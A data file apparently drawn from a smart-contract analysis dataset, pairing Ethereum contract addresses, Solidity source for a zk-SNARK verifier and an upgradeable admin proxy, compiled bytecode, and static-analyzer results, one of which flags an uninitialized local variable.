281611d7357fe5b0414611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f516021913960400191505060405180910390fd5b809150505b92915050565b6000611e1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e1f565b905092915050565b60008083118290611ecb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e90578082015181840152602081019050611e75565b50505050905090810190601f168015611ebd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611ed757fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200bec531fa91e4aec82c9ec90a9450a126a053d386d78d496211650ce9877297064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,979
0xE388aFB8b6590C81C96Afdc9D1d8470945dFceB4
// SPDX-License-Identifier: AGPL-3.0 // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.11; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract Verifier344 { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958); vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([15725659263853390664867018975702502312534083889606292066571659811301903761332,136809810005573829124547159299646511427247907026955052819928219198202674230], [18708930569170163144678326171474813071914035299419955122990534732110823847952,3579836367536932466340933761521993341619979174279603323130701425906242033843]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(4501471043992779294819821172515991595876982594419199041193945215591373991399,20107659135078383683311146731092902335405200733397716352207781717325356823754); vk.IC[1] = Pairing.G1Point(7711864631878190704427190502523952390370077474895579996963799156591390229898,11473022540794270257715422500319012947641043172931746297385495356352174353538); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[1] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d40565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d72565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610db9565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b602002602001015161079f565b610834565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610834565b90506104016103dd86600001516108c5565b8660200151846000015185602001518587604001518b604001518960600151610951565b6104115760019350505050610419565b600093505050505b92915050565b610427610d72565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f22c46860a6a7b0818a3f118f3297515dd30737e0b36bd32160a483eaf20effb48185019081527e4d6e7de331449a4b6fbfc093afd9f7768ff7db931b70024f01f4d106fd7c36828401528152835180850185527f295ce12366458f164cc76c5fd952b368cf8661eeb28d4bac4dce04d10b9e781081527f07ea1d96baae7e666a4b190f564732f823434792bf2a165db1cc29c8b17818b3818501528184015281850152825160028082529181019093529082015b6106a7610db9565b81526020019060019003908161069f57505060808201908152604080518082019091527f09f3be08d5cf3ce8ac996561e10e7905649acff45f3f817bbfbceb40c105ede781527f2c74882165c85d377ff9ed2783357440db3701e1ef452ef39e88ef85ce8574ca60208201529051805160009061072057fe5b602002602001018190525060405180604001604052807f110cc2bd4220d905eabaa3bc4411fdb5af04f7d66532fe274f79ac931c66058a81526020017f195d8029c0bdbfc643be1da2f3e17fc531386fbf1c1da22514733b503799ec82815250816080015160018151811061079157fe5b602002602001018190525090565b6107a7610db9565b6107af610dd3565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e2576107e4565bfe5b508061082c576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083c610db9565b610844610df1565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e257508061082c576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108cd610db9565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090057506020830151155b15610920575050604080518082019091526000808252602082015261094c565b6040518060400160405280846000015181526020018285602001518161094257fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610975610db9565b81526020019060019003908161096d57505060408051600480825260a0820190925291925060609190602082015b6109ab610e0f565b8152602001906001900390816109a35790505090508a826000815181106109ce57fe5b602002602001018190525088826001815181106109e757fe5b60200260200101819052508682600281518110610a0057fe5b60200260200101819052508482600381518110610a1957fe5b60200260200101819052508981600081518110610a3257fe5b60200260200101819052508781600181518110610a4b57fe5b60200260200101819052508581600281518110610a6457fe5b60200260200101819052508381600381518110610a7d57fe5b6020026020010181905250610a928282610aa1565b9b9a5050505050505050505050565b60008151835114610af2576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1157600080fd5b50604051908082528060200260200182016040528015610b3b578160200160208202803683370190505b50905060005b83811015610cc057868181518110610b5557fe5b602002602001015160000151828260060260000181518110610b7357fe5b602002602001018181525050868181518110610b8b57fe5b602002602001015160200151828260060260010181518110610ba957fe5b602002602001018181525050858181518110610bc157fe5b602090810291909101015151518251839060026006850201908110610be257fe5b602002602001018181525050858181518110610bfa57fe5b60209081029190910101515160016020020151828260060260030181518110610c1f57fe5b602002602001018181525050858181518110610c3757fe5b602002602001015160200151600060028110610c4f57fe5b6020020151828260060260040181518110610c6657fe5b602002602001018181525050858181518110610c7e57fe5b602002602001015160200151600160028110610c9657fe5b6020020151828260060260050181518110610cad57fe5b6020908102919091010152600101610b41565b50610cc9610e2f565b6000602082602086026020860160086107d05a03fa90508080156107e2575080610d32576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d53610db9565b8152602001610d60610e0f565b8152602001610d6d610db9565b905290565b6040518060a00160405280610d85610db9565b8152602001610d92610e0f565b8152602001610d9f610e0f565b8152602001610dac610e0f565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e22610e4d565b8152602001610d6d610e4d565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea2646970667358221220b08abc15f49a6e022c5069da2c3400b4f07c843a0c426f1396f9e5cd1d8c819d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,980
0xB0ed2cc305234F5953C401aeE97938675ac7d97C
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/proxy/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: contracts/proxy/AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220343b7e64448683d7c333052d5f73d4f056f76d8ef69e06c5942dcf3058100d3764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,981
0xb1c442122000471a36948c47e5d0288565d41e96
